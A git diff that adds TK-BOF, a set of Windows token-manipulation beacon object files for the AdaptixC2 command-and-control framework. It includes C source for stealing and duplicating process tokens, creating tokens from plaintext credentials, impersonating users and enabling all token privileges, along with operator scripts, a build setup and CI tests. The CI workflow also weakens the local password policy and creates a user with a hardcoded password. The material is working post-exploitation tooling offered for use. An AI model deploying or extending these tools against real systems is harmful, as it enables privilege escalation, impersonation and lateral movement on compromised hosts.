diff --git a/.github/ci/tasks.yaml b/.github/ci/tasks.yaml index 1ff3130..cb15cef 100644 --- a/.github/ci/tasks.yaml +++ b/.github/ci/tasks.yaml @@ -4,6 +4,50 @@ tasks: + # ── TK-BOF ── + + # tk-spawn-fixture (D-01, D-02) + - cmdline: 'ps run --command "ping -n 999 127.0.0.1"' + expected_regex: "Process started: PID \\d+" + capture: + tk_pid: "Process started: PID (\\d+)" + + # tk-steal-immediate (D-03) + - cmdline: "tk steal {{tk_pid}}" + expected_regex: "\\[\\+\\] Handle: 0x[0-9a-fA-F]+" + not_expected: "error" + + # tk-revert-after-steal (D-03) + - cmdline: "tk revert" + expected: "[+] Reverted to process token." + + # tk-steal-noapply (D-04) + - cmdline: "tk steal {{tk_pid}} --no-apply" + expected_regex: "\\[\\+\\] Handle: 0x[0-9a-fA-F]+ \\(impersonation not applied\\)" + capture: + tk_handle: "Handle: (0x[0-9a-fA-F]+)" + + # tk-use (D-04) + - cmdline: "tk use {{tk_handle}}" + expected_regex: "\\[\\+\\] Impersonating handle 0x[0-9a-fA-F]+" + + # tk-rm (D-04) + - cmdline: "tk rm {{tk_handle}}" + expected_regex: "\\[\\+\\] Handle 0x[0-9a-fA-F]+ closed\\." + + # tk-make (D-08) + - cmdline: "tk make --username tk_test --password Tk_Test_Pass1!" + expected_regex: "\\[\\+\\] Handle: 0x[0-9a-fA-F]+" + not_expected: "error" + + # tk-revert-after-make (D-09) + - cmdline: "tk revert" + expected: "[+] Reverted to process token." + + # tk-privget (D-10) + - cmdline: "tk privget" + not_expected: "error" + # ── TYPE ── # type-happy-path diff --git a/.github/workflows/test.yaml b/.github/workflows/test.yaml index 0709967..efc82e6 100644 --- a/.github/workflows/test.yaml +++ b/.github/workflows/test.yaml @@ -51,6 +51,26 @@ jobs: Set-LocalUser $env:CI_USER -Password $pass } + - name: Create tk_test user + shell: powershell + run: | + # Relax local password policy so the hardcoded test credential is accepted + # on runners with non-default minimum-length or complexity settings. + $cfgPath = "$env:TEMP\secpol.cfg" + secedit /export /cfg $cfgPath /quiet + (Get-Content $cfgPath) ` + -replace 'PasswordComplexity\s*=\s*1', 'PasswordComplexity = 0' ` + -replace 'MinimumPasswordLength\s*=\s*\d+', 'MinimumPasswordLength = 0' | + Set-Content $cfgPath + secedit /configure /db "$env:windir\security\local.sdb" /cfg $cfgPath /areas SECURITYPOLICY /quiet + Remove-Item $cfgPath -Force -ErrorAction SilentlyContinue + $pass = ConvertTo-SecureString 'Tk_Test_Pass1!' -AsPlainText -Force + if (-not (Get-LocalUser tk_test -ErrorAction SilentlyContinue)) { + New-LocalUser tk_test -Password $pass -PasswordNeverExpires + } else { + Set-LocalUser tk_test -Password $pass + } + - name: Start OpenSSH Server with password auth shell: powershell run: | @@ -267,6 +287,9 @@ jobs: mkdir -p /tmp/adaptixc2/dist/BOF-Collection/PS-BOF/_bin cp /workspace/PS-BOF/_bin/*.o /tmp/adaptixc2/dist/BOF-Collection/PS-BOF/_bin/ cp /workspace/PS-BOF/ps.axs /tmp/adaptixc2/dist/BOF-Collection/PS-BOF/ + mkdir -p /tmp/adaptixc2/dist/BOF-Collection/TK-BOF/_bin + cp /workspace/TK-BOF/_bin/*.o /tmp/adaptixc2/dist/BOF-Collection/TK-BOF/_bin/ + cp /workspace/TK-BOF/tk.axs /tmp/adaptixc2/dist/BOF-Collection/TK-BOF/ cp /workspace/bof-collection.axs /tmp/adaptixc2/dist/BOF-Collection/ # ── Build verification ─────────────────────────────────────── @@ -283,6 +306,12 @@ jobs: count=$(ls /tmp/adaptixc2/dist/BOF-Collection/PS-BOF/_bin/*.x64.o | wc -l) [ "$count" -eq 6 ] && echo "✓ All 6 PS-BOF x64 objects deployed to container" || \ { echo "✗ Expected 6 PS-BOF x64 objects in container bin, got $count"; exit 1; } + count=$(ls /workspace/TK-BOF/_bin/*.x64.o | wc -l) + [ "$count" -eq 6 ] && echo "✓ All 6 TK-BOF x64 objects compiled" || \ + { echo "✗ Expected 6 TK-BOF x64 objects, got $count"; exit 1; } + count=$(ls /tmp/adaptixc2/dist/BOF-Collection/TK-BOF/_bin/*.x64.o | wc -l) + [ "$count" -eq 6 ] && echo "✓ All 6 TK-BOF x64 objects deployed to container" || \ + { echo "✗ Expected 6 TK-BOF x64 objects in container bin, got $count"; exit 1; } echo "=== Build verification passed ===" uv tool install --reinstall "git+https://github.com/TheGr3atJosh/Testing-Kit@c53a47d" diff --git a/Makefile b/Makefile index 8cb9c18..80b2c13 100644 --- a/Makefile +++ b/Makefile @@ -1,4 +1,4 @@ -SUBDIRS := FS-BOF Exit-BOF PS-BOF +SUBDIRS := FS-BOF Exit-BOF TK-BOF PS-BOF .PHONY: all $(SUBDIRS) clean docker-build diff --git a/README.md b/README.md index 1028055..29b3877 100644 --- a/README.md +++ b/README.md @@ -74,7 +74,20 @@ Process management: ps list, ps kill, ps run, ps grep, ps suspend, ps resume. [M |ps suspend|`ps suspend `|Suspend a process| |ps resume|`ps resume `|Resume a suspended process| +## TK-BOF + +Token management: steal, use, make, rm, revert, privget. [More details](TK-BOF/README.md) + +|Commands|Usage|Notes| +|--------|-----|-----| +|steal|`tk steal `|Duplicate a process token; optionally skip impersonation with `--no-apply`| +|use|`tk use `|Impersonate a previously obtained token handle| +|make|`tk make `|Create a token via LogonUserW; supports `--domain`, `--logon-type`, `--no-apply`| +|rm|`tk rm `|Close a token handle and free the kernel object| +|revert|`tk revert`|Drop impersonation and revert to process token| +|privget|`tk privget`|Enable all privileges on the current token| + ## Credits - [Extension-Kit](https://github.com/Adaptix-Framework/Extension-Kit): Project structure and README -- [Kharon](https://github.com/entropy-z/Kharon): PS-BOF command implementations +- [Kharon](https://github.com/entropy-z/Kharon): PS-BOF and TK-BOF command implementations diff --git a/TK-BOF/Makefile b/TK-BOF/Makefile new file mode 100644 index 0000000..bf62b5e --- /dev/null +++ b/TK-BOF/Makefile @@ -0,0 +1,25 @@ +CC64 = x86_64-w64-mingw32-gcc +CC86 = i686-w64-mingw32-gcc +STRIP64 = x86_64-w64-mingw32-strip --strip-unneeded +STRIP86 = i686-w64-mingw32-strip --strip-unneeded +CFLAGS = -I . -I ../_include -w -Wno-incompatible-pointer-types -Os -DBOF -c + +all: bof + +bof: clean + @(mkdir _bin 2>/dev/null) && echo 'creating _bin directory' || echo '_bin directory exists' + @($(CC64) $(CFLAGS) steal/steal.c -o _bin/steal.x64.o && $(STRIP64) _bin/steal.x64.o) && echo '[+] steal x64' || echo '[!] steal x64' + @($(CC86) $(CFLAGS) steal/steal.c -o _bin/steal.x32.o && $(STRIP86) _bin/steal.x32.o) && echo '[+] steal x32' || echo '[!] steal x32' + @($(CC64) $(CFLAGS) use/use.c -o _bin/use.x64.o && $(STRIP64) _bin/use.x64.o) && echo '[+] use x64' || echo '[!] use x64' + @($(CC86) $(CFLAGS) use/use.c -o _bin/use.x32.o && $(STRIP86) _bin/use.x32.o) && echo '[+] use x32' || echo '[!] use x32' + @($(CC64) $(CFLAGS) make/make.c -o _bin/make.x64.o && $(STRIP64) _bin/make.x64.o) && echo '[+] make x64' || echo '[!] make x64' + @($(CC86) $(CFLAGS) make/make.c -o _bin/make.x32.o && $(STRIP86) _bin/make.x32.o) && echo '[+] make x32' || echo '[!] make x32' + @($(CC64) $(CFLAGS) rm/rm.c -o _bin/rm.x64.o && $(STRIP64) _bin/rm.x64.o) && echo '[+] rm x64' || echo '[!] rm x64' + @($(CC86) $(CFLAGS) rm/rm.c -o _bin/rm.x32.o && $(STRIP86) _bin/rm.x32.o) && echo '[+] rm x32' || echo '[!] rm x32' + @($(CC64) $(CFLAGS) revert/revert.c -o _bin/revert.x64.o && $(STRIP64) _bin/revert.x64.o) && echo '[+] revert x64' || echo '[!] revert x64' + @($(CC86) $(CFLAGS) revert/revert.c -o _bin/revert.x32.o && $(STRIP86) _bin/revert.x32.o) && echo '[+] revert x32' || echo '[!] revert x32' + @($(CC64) $(CFLAGS) privget/privget.c -o _bin/privget.x64.o && $(STRIP64) _bin/privget.x64.o) && echo '[+] privget x64' || echo '[!] privget x64' + @($(CC86) $(CFLAGS) privget/privget.c -o _bin/privget.x32.o && $(STRIP86) _bin/privget.x32.o) && echo '[+] privget x32' || echo '[!] privget x32' + +clean: + @(rm -rf _bin) diff --git a/TK-BOF/README.md b/TK-BOF/README.md new file mode 100644 index 0000000..06d62d1 --- /dev/null +++ b/TK-BOF/README.md @@ -0,0 +1,72 @@ +# TK-BOF + +Token management: steal, use, make, rm, revert, privget + +|Commands|Usage|Notes| +|--------|-----|-----| +|steal|`tk steal `|Duplicate a process token; optionally skip impersonation with `--no-apply`| +|use|`tk use `|Impersonate a previously obtained token handle| +|make|`tk make `|Create a token via LogonUserW; supports `--domain`, `--logon-type`, `--no-apply`| +|rm|`tk rm `|Close a token handle and free the kernel object| +|revert|`tk revert`|Drop impersonation and revert to process token| +|privget|`tk privget`|Enable all privileges on the current token| + +## Handle Lifecycle + +tk rm closes the kernel object — the handle is gone and cannot be reused. tk revert drops impersonation but keeps handles alive — the token can be re-activated with tk use. Always tk rm handles you no longer need to avoid leaking kernel objects in the beacon process. + +## steal + +Duplicate a process token by PID via OpenProcessToken + DuplicateTokenEx. Impersonation is applied immediately via ImpersonateLoggedOnUser unless --no-apply is passed. The duplicated handle is printed for later reuse with `tk use`. + +``` +tk steal +tk steal --no-apply +``` + +## use + +Impersonate a previously obtained token handle via ImpersonateLoggedOnUser. + +``` +tk use +``` + +## make + +Create a token from plaintext credentials via LogonUserW. Impersonation is applied immediately unless --no-apply is passed. The token handle is printed for later reuse with `tk use`. + +``` +tk make +tk make --domain +tk make --logon-type +tk make --no-apply +``` + +## rm + +Close a token handle and free the kernel object. The handle is gone after this call and cannot be reused with `tk use`. + +``` +tk rm +``` + +## revert + +Drop impersonation and revert to the process token. Open token handles are not closed; they remain valid and can be reused with `tk use`. + +``` +tk revert +``` + +## privget + +Enable all privileges on the current token by iterating the token's privilege set and calling AdjustTokenPrivileges. + +``` +tk privget +``` + +## Credits + +- [Kharon](https://github.com/entropy-z/Kharon): TK-BOF command implementations diff --git a/TK-BOF/bofdefs.h b/TK-BOF/bofdefs.h new file mode 100644 index 0000000..54a2361 --- /dev/null +++ b/TK-BOF/bofdefs.h @@ -0,0 +1,40 @@ +#pragma once +#include "../_include/bofdefs.h" +#include +#include + +// ============================================================================= +// ADVAPI32 — token acquisition +// ============================================================================= +WINBASEAPI BOOL WINAPI ADVAPI32$DuplicateTokenEx(HANDLE hExistingToken, DWORD dwDesiredAccess, LPSECURITY_ATTRIBUTES lpTokenAttributes, SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, TOKEN_TYPE TokenType, PHANDLE phNewToken); + +// ============================================================================= +// ADVAPI32 — impersonation +// ============================================================================= +WINBASEAPI BOOL WINAPI ADVAPI32$ImpersonateLoggedOnUser(HANDLE hToken); +WINBASEAPI BOOL WINAPI ADVAPI32$RevertToSelf(VOID); + +// ============================================================================= +// ADVAPI32 — credential-based token creation +// ============================================================================= +WINBASEAPI BOOL WINAPI ADVAPI32$LogonUserW(LPCWSTR lpszUsername, LPCWSTR lpszDomain, LPCWSTR lpszPassword, DWORD dwLogonType, DWORD dwLogonProvider, PHANDLE phToken); + +// ============================================================================= +// ADVAPI32 — token introspection and modification +// ============================================================================= +WINBASEAPI BOOL WINAPI ADVAPI32$GetTokenInformation(HANDLE TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass, LPVOID TokenInformation, DWORD TokenInformationLength, PDWORD ReturnLength); + +// ============================================================================= +// ADVAPI32 — thread token +// ============================================================================= +WINBASEAPI BOOL WINAPI ADVAPI32$OpenThreadToken(HANDLE ThreadHandle, DWORD DesiredAccess, BOOL OpenAsSelf, PHANDLE TokenHandle); + +// ============================================================================= +// KERNEL32 — pseudo-handles +// ============================================================================= +WINBASEAPI HANDLE WINAPI KERNEL32$GetCurrentThread(VOID); + +// ============================================================================= +// NTDLL — handle close (rm BOF uses NtClose to close token handle) +// ============================================================================= +WINBASEAPI NTSTATUS NTAPI NTDLL$NtClose(HANDLE Handle); diff --git a/TK-BOF/make/make.c b/TK-BOF/make/make.c new file mode 100644 index 0000000..80899da --- /dev/null +++ b/TK-BOF/make/make.c @@ -0,0 +1,58 @@ +#include +#include "beacon.h" +#include "bofdefs.h" +#include "../tkerror.h" + +VOID go(IN PCHAR Buffer, IN ULONG Length) +{ + datap parser; + WCHAR *username = NULL; + WCHAR *password = NULL; + WCHAR *domain = NULL; + BOOL no_apply = FALSE; + int logon_type = 0; + HANDLE hToken = NULL; + DWORD dwError = 0; + char errMsg[256]; + + BeaconDataParse(&parser, Buffer, Length); + username = (WCHAR*) BeaconDataExtract(&parser, NULL); + password = (WCHAR*) BeaconDataExtract(&parser, NULL); + domain = (WCHAR*) BeaconDataExtract(&parser, NULL); + no_apply = (BOOL) BeaconDataInt(&parser); + logon_type = (int) BeaconDataInt(&parser); + + if (!username || !password) + { + BeaconPrintf(CALLBACK_ERROR, "[-] make: missing username or password argument\n"); + return; + } + + if (logon_type == 0) logon_type = 9; + const WCHAR *dom = (domain && domain[0]) ? domain : L"."; + + if (!ADVAPI32$LogonUserW(username, dom, password, (DWORD)logon_type, LOGON32_PROVIDER_DEFAULT, &hToken)) + { + dwError = KERNEL32$GetLastError(); + TkErrorMessage(dwError, errMsg, sizeof(errMsg)); + BeaconPrintf(CALLBACK_ERROR, "[-] make: LogonUserW failed: %s\n", errMsg); + return; + } + + if (!no_apply) + { + if (!ADVAPI32$ImpersonateLoggedOnUser(hToken)) + { + dwError = KERNEL32$GetLastError(); + TkErrorMessage(dwError, errMsg, sizeof(errMsg)); + BeaconPrintf(CALLBACK_ERROR, "[-] make: ImpersonateLoggedOnUser failed: %s\n", errMsg); + NTDLL$NtClose(hToken); + return; + } + BeaconPrintf(CALLBACK_OUTPUT, "[+] Handle: 0x%llx\n", (unsigned long long) hToken); + } + else + { + BeaconPrintf(CALLBACK_OUTPUT, "[+] Handle: 0x%llx (impersonation not applied)\n", (unsigned long long) hToken); + } +} diff --git a/TK-BOF/privget/privget.c b/TK-BOF/privget/privget.c new file mode 100644 index 0000000..d5570e1 --- /dev/null +++ b/TK-BOF/privget/privget.c @@ -0,0 +1,92 @@ +#include +#include "beacon.h" +#include "bofdefs.h" +#include "../tkerror.h" + +VOID go(IN PCHAR Buffer, IN ULONG Length) +{ + HANDLE hToken = NULL; + DWORD tokenInfoLen = 0; + PTOKEN_PRIVILEGES pTokPriv = NULL; + DWORD dwError = 0; + char errMsg[256]; + DWORD i = 0; + DWORD privCount = 0; + + /* Open thread token; fall back to process token only when thread has no token */ + if (!ADVAPI32$OpenThreadToken(KERNEL32$GetCurrentThread(), + TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, + TRUE, &hToken)) + { + dwError = KERNEL32$GetLastError(); + if (dwError != ERROR_NO_TOKEN) + { + TkErrorMessage(dwError, errMsg, sizeof(errMsg)); + BeaconPrintf(CALLBACK_ERROR, "[-] privget: OpenThreadToken failed: %s\n", errMsg); + return; + } + dwError = 0; + if (!ADVAPI32$OpenProcessToken(KERNEL32$GetCurrentProcess(), + TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, + &hToken)) + { + dwError = KERNEL32$GetLastError(); + TkErrorMessage(dwError, errMsg, sizeof(errMsg)); + BeaconPrintf(CALLBACK_ERROR, "[-] privget: OpenProcessToken failed: %s\n", errMsg); + return; + } + } + + /* Pass 1: size query — expected to fail with ERROR_INSUFFICIENT_BUFFER */ + ADVAPI32$GetTokenInformation(hToken, TokenPrivileges, NULL, 0, &tokenInfoLen); + + pTokPriv = (PTOKEN_PRIVILEGES) KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), + HEAP_ZERO_MEMORY, tokenInfoLen); + if (!pTokPriv) + { + BeaconPrintf(CALLBACK_ERROR, "[-] privget: HeapAlloc failed\n"); + NTDLL$NtClose(hToken); + return; + } + + /* Pass 2: fill */ + if (!ADVAPI32$GetTokenInformation(hToken, TokenPrivileges, pTokPriv, + tokenInfoLen, &tokenInfoLen)) + { + dwError = KERNEL32$GetLastError(); + TkErrorMessage(dwError, errMsg, sizeof(errMsg)); + BeaconPrintf(CALLBACK_ERROR, "[-] privget: GetTokenInformation failed: %s\n", errMsg); + KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, pTokPriv); + NTDLL$NtClose(hToken); + return; + } + + /* Enable all privileges */ + for (i = 0; i < pTokPriv->PrivilegeCount; i++) + pTokPriv->Privileges[i].Attributes = SE_PRIVILEGE_ENABLED; + + privCount = pTokPriv->PrivilegeCount; + + ADVAPI32$AdjustTokenPrivileges(hToken, FALSE, pTokPriv, tokenInfoLen, NULL, NULL); + dwError = KERNEL32$GetLastError(); + + KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, pTokPriv); + NTDLL$NtClose(hToken); + + if (dwError != 0 && dwError != ERROR_NOT_ALL_ASSIGNED) + { + TkErrorMessage(dwError, errMsg, sizeof(errMsg)); + BeaconPrintf(CALLBACK_ERROR, "[-] privget: AdjustTokenPrivileges failed: %s\n", errMsg); + return; + } + + if (dwError == ERROR_NOT_ALL_ASSIGNED) + { + BeaconPrintf(CALLBACK_OUTPUT, "[!] privget: not all privileges could be enabled.\n"); + BeaconPrintf(CALLBACK_OUTPUT, "[+] Attempted %lu privileges (partial).\n", (unsigned long) privCount); + } + else + { + BeaconPrintf(CALLBACK_OUTPUT, "[+] Enabled %lu privileges.\n", (unsigned long) privCount); + } +} diff --git a/TK-BOF/revert/revert.c b/TK-BOF/revert/revert.c new file mode 100644 index 0000000..22fbcf5 --- /dev/null +++ b/TK-BOF/revert/revert.c @@ -0,0 +1,9 @@ +#include +#include "beacon.h" +#include "bofdefs.h" + +VOID go(IN PCHAR Buffer, IN ULONG Length) +{ + ADVAPI32$RevertToSelf(); + BeaconPrintf(CALLBACK_OUTPUT, "[+] Reverted to process token.\n"); +} diff --git a/TK-BOF/rm/rm.c b/TK-BOF/rm/rm.c new file mode 100644 index 0000000..b11cf36 --- /dev/null +++ b/TK-BOF/rm/rm.c @@ -0,0 +1,22 @@ +#include +#include "beacon.h" +#include "bofdefs.h" + +VOID go(IN PCHAR Buffer, IN ULONG Length) +{ + datap parser; + HANDLE token_handle = NULL; + + BeaconDataParse(&parser, Buffer, Length); + token_handle = (HANDLE)(ULONG_PTR)(DWORD) BeaconDataInt(&parser); + + NTSTATUS status; + status = NTDLL$NtClose(token_handle); + if (status < 0) + { + BeaconPrintf(CALLBACK_ERROR, "[-] rm: NtClose failed: 0x%lx\n", (ULONG) status); + return; + } + + BeaconPrintf(CALLBACK_OUTPUT, "[+] Handle 0x%llx closed.\n", (unsigned long long) token_handle); +} diff --git a/TK-BOF/steal/steal.c b/TK-BOF/steal/steal.c new file mode 100644 index 0000000..14a21e6 --- /dev/null +++ b/TK-BOF/steal/steal.c @@ -0,0 +1,70 @@ +#include +#include "beacon.h" +#include "bofdefs.h" +#include "../tkerror.h" + +VOID go(IN PCHAR Buffer, IN ULONG Length) +{ + datap parser; + DWORD pid = 0; + BOOL no_apply = FALSE; + + BeaconDataParse(&parser, Buffer, Length); + pid = (DWORD) BeaconDataInt(&parser); + no_apply = (BOOL) BeaconDataInt(&parser); + + HANDLE hProcess = NULL; + HANDLE hToken = NULL; + HANDLE hDup = NULL; + DWORD dwError = 0; + char errMsg[256]; + + hProcess = KERNEL32$OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid); + if (!hProcess) + { + dwError = KERNEL32$GetLastError(); + TkErrorMessage(dwError, errMsg, sizeof(errMsg)); + BeaconPrintf(CALLBACK_ERROR, "[-] steal: OpenProcess failed: %s\n", errMsg); + return; + } + + if (!ADVAPI32$OpenProcessToken(hProcess, TOKEN_DUPLICATE, &hToken)) + { + dwError = KERNEL32$GetLastError(); + TkErrorMessage(dwError, errMsg, sizeof(errMsg)); + BeaconPrintf(CALLBACK_ERROR, "[-] steal: OpenProcessToken failed: %s\n", errMsg); + NTDLL$NtClose(hProcess); + return; + } + + if (!ADVAPI32$DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, + SecurityImpersonation, TokenImpersonation, &hDup)) + { + dwError = KERNEL32$GetLastError(); + TkErrorMessage(dwError, errMsg, sizeof(errMsg)); + BeaconPrintf(CALLBACK_ERROR, "[-] steal: DuplicateTokenEx failed: %s\n", errMsg); + NTDLL$NtClose(hToken); + NTDLL$NtClose(hProcess); + return; + } + + NTDLL$NtClose(hToken); + NTDLL$NtClose(hProcess); + + if (!no_apply) + { + if (!ADVAPI32$ImpersonateLoggedOnUser(hDup)) + { + dwError = KERNEL32$GetLastError(); + TkErrorMessage(dwError, errMsg, sizeof(errMsg)); + BeaconPrintf(CALLBACK_ERROR, "[-] steal: ImpersonateLoggedOnUser failed: %s\n", errMsg); + NTDLL$NtClose(hDup); + return; + } + BeaconPrintf(CALLBACK_OUTPUT, "[+] Handle: 0x%llx\n", (unsigned long long) hDup); + } + else + { + BeaconPrintf(CALLBACK_OUTPUT, "[+] Handle: 0x%llx (impersonation not applied)\n", (unsigned long long) hDup); + } +} diff --git a/TK-BOF/tk.axs b/TK-BOF/tk.axs new file mode 100644 index 0000000..c9726f1 --- /dev/null +++ b/TK-BOF/tk.axs @@ -0,0 +1,69 @@ +var metadata = { + name: "TK-BOF", + description: "Token management: steal, use, make, rm, revert, privget", +}; + +var cmd_tk_steal = ax.create_command("steal", "Duplicate a process token by PID and optionally apply impersonation", "tk steal "); +cmd_tk_steal.addArgInt("pid", true); +cmd_tk_steal.addArgBool("--no-apply", "Skip immediate impersonation; print handle only", false); +cmd_tk_steal.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) { + let pid = parsed_json["pid"]; + let no_apply = parsed_json["--no-apply"] ? 1 : 0; + let bof_params = ax.bof_pack("int,int", [pid, no_apply]); + let bof_path = ax.script_dir() + "_bin/steal." + ax.arch(id) + ".o"; + ax.execute_alias(id, cmdline, `execute bof "${bof_path}" ${bof_params}`, "BOF: tk steal"); +}); + +var cmd_tk_use = ax.create_command("use", "Impersonate a previously obtained token handle", "tk use "); +cmd_tk_use.addArgString("token_handle", true); +cmd_tk_use.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) { + let token_handle = parseInt(parsed_json["token_handle"], 16); + let bof_params = ax.bof_pack("int", [token_handle]); + let bof_path = ax.script_dir() + "_bin/use." + ax.arch(id) + ".o"; + ax.execute_alias(id, cmdline, `execute bof "${bof_path}" ${bof_params}`, "BOF: tk use"); +}); + +var cmd_tk_make = ax.create_command("make", "Create a token from credentials via LogonUserW", "tk make "); +cmd_tk_make.addArgString("username", true); +cmd_tk_make.addArgString("password", true); +cmd_tk_make.addArgFlagString("--domain", "domain", false, "Logon domain (default: .)"); +cmd_tk_make.addArgBool("--no-apply", "Skip immediate impersonation; print handle only", false); +cmd_tk_make.addArgFlagInt("--logon-type", "logon_type", "Logon type DWORD (default: 9 = NewCredentials)", 0); +cmd_tk_make.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) { + let username = parsed_json["username"] || ""; + let password = parsed_json["password"] || ""; + let domain = parsed_json["domain"] || ""; + let no_apply = parsed_json["--no-apply"] ? 1 : 0; + let logon_type = parsed_json["logon_type"] || 0; + let bof_params = ax.bof_pack("wstr,wstr,wstr,int,int", [username, password, domain, no_apply, logon_type]); + let bof_path = ax.script_dir() + "_bin/make." + ax.arch(id) + ".o"; + ax.execute_alias(id, cmdline, `execute bof "${bof_path}" ${bof_params}`, "BOF: tk make"); +}); + +var cmd_tk_rm = ax.create_command("rm", "Close a token handle and free the kernel object", "tk rm "); +cmd_tk_rm.addArgString("token_handle", true); +cmd_tk_rm.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) { + let token_handle = parseInt(parsed_json["token_handle"], 16); + let bof_params = ax.bof_pack("int", [token_handle]); + let bof_path = ax.script_dir() + "_bin/rm." + ax.arch(id) + ".o"; + ax.execute_alias(id, cmdline, `execute bof "${bof_path}" ${bof_params}`, "BOF: tk rm"); +}); + +var cmd_tk_revert = ax.create_command("revert", "Drop impersonation and revert to process token", "tk revert"); +cmd_tk_revert.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) { + let bof_path = ax.script_dir() + "_bin/revert." + ax.arch(id) + ".o"; + ax.execute_alias(id, cmdline, `execute bof "${bof_path}"`, "BOF: tk revert"); +}); + +var cmd_tk_privget = ax.create_command("privget", "Enable all privileges on the current token", "tk privget"); +cmd_tk_privget.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) { + let bof_path = ax.script_dir() + "_bin/privget." + ax.arch(id) + ".o"; + ax.execute_alias(id, cmdline, `execute bof "${bof_path}"`, "BOF: tk privget"); +}); + +var cmd_tk = ax.create_command("tk", "Token management: steal, use, make, rm, revert, privget"); +cmd_tk.addSubCommands([cmd_tk_steal, cmd_tk_use, cmd_tk_make, cmd_tk_rm, cmd_tk_revert, cmd_tk_privget]); + +var group_tk = ax.create_commands_group("TK-BOF", [cmd_tk]); +// beacon-only: token impersonation BOFs are only meaningful inside beacon agents +ax.register_commands_group(group_tk, ["beacon", "gopher", "kharon"], ["windows"], []); diff --git a/TK-BOF/tkerror.h b/TK-BOF/tkerror.h new file mode 100644 index 0000000..dbb75c8 --- /dev/null +++ b/TK-BOF/tkerror.h @@ -0,0 +1,48 @@ +#ifndef _TKERROR_H_ +#define _TKERROR_H_ + +#include +#include "bofdefs.h" + +static inline void TkErrorMessage(DWORD dwError, char *buf, int bufSize) +{ + if (!buf || bufSize <= 0) + return; + + char *sysBuf = NULL; + DWORD ret = 0; + int i = 0; + + ret = KERNEL32$FormatMessageA( + 0x1300, // FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_IGNORE_INSERTS + NULL, + dwError, + 0, + (LPSTR) &sysBuf, + 0, + NULL + ); + + if (ret > 0 && sysBuf != NULL) + { + for (i = 0; i < bufSize - 1 && sysBuf[i] != '\0'; i++) + { + buf[i] = sysBuf[i]; + } + buf[i] = '\0'; + + while (i > 0 && (buf[i-1] == '\r' || buf[i-1] == '\n' || buf[i-1] == ' ')) + { + i--; + buf[i] = '\0'; + } + + KERNEL32$LocalFree((HLOCAL) sysBuf); + } + else + { + MSVCRT$_snprintf(buf, bufSize, "error %lu", dwError); + } +} + +#endif // _TKERROR_H_ diff --git a/TK-BOF/use/use.c b/TK-BOF/use/use.c new file mode 100644 index 0000000..2052217 --- /dev/null +++ b/TK-BOF/use/use.c @@ -0,0 +1,24 @@ +#include +#include "beacon.h" +#include "bofdefs.h" +#include "../tkerror.h" + +VOID go(IN PCHAR Buffer, IN ULONG Length) +{ + datap parser; + HANDLE token_handle = NULL; + + BeaconDataParse(&parser, Buffer, Length); + token_handle = (HANDLE)(ULONG_PTR)(DWORD) BeaconDataInt(&parser); + + if (!ADVAPI32$ImpersonateLoggedOnUser(token_handle)) + { + DWORD dwError = KERNEL32$GetLastError(); + char errMsg[256]; + TkErrorMessage(dwError, errMsg, sizeof(errMsg)); + BeaconPrintf(CALLBACK_ERROR, "[-] use: ImpersonateLoggedOnUser failed: %s\n", errMsg); + return; + } + + BeaconPrintf(CALLBACK_OUTPUT, "[+] Impersonating handle 0x%llx\n", (unsigned long long) token_handle); +} diff --git a/_include/bofdefs.h b/_include/bofdefs.h index bcb841f..c62da00 100644 --- a/_include/bofdefs.h +++ b/_include/bofdefs.h @@ -68,6 +68,11 @@ WINBASEAPI WINBOOL WINAPI KERNEL32$CopyFileW(LPCWSTR lpExistingFileName, LPCWSTR WINBASEAPI WINBOOL WINAPI KERNEL32$MoveFileExW(LPCWSTR lpExistingFileName, LPCWSTR lpNewFileName, DWORD dwFlags); WINBASEAPI WINBOOL WINAPI KERNEL32$DeleteFileW(LPCWSTR lpFileName); +// ============================================================================= +// KERNEL32 — process management (steal BOF) +// ============================================================================= +WINBASEAPI HANDLE WINAPI KERNEL32$OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId); + // ============================================================================= // MSVCRT (used by base.c shared by all FS-BOF, and by fserror.h fallback) // ============================================================================= diff --git a/bof-collection.axs b/bof-collection.axs index 9bf0869..cd6a84c 100644 --- a/bof-collection.axs +++ b/bof-collection.axs @@ -8,3 +8,4 @@ var path = ax.script_dir(); ax.script_load(path + "FS-BOF/fs.axs"); ax.script_load(path + "Exit-BOF/exit.axs"); ax.script_load(path + "PS-BOF/ps.axs"); +ax.script_load(path + "TK-BOF/tk.axs");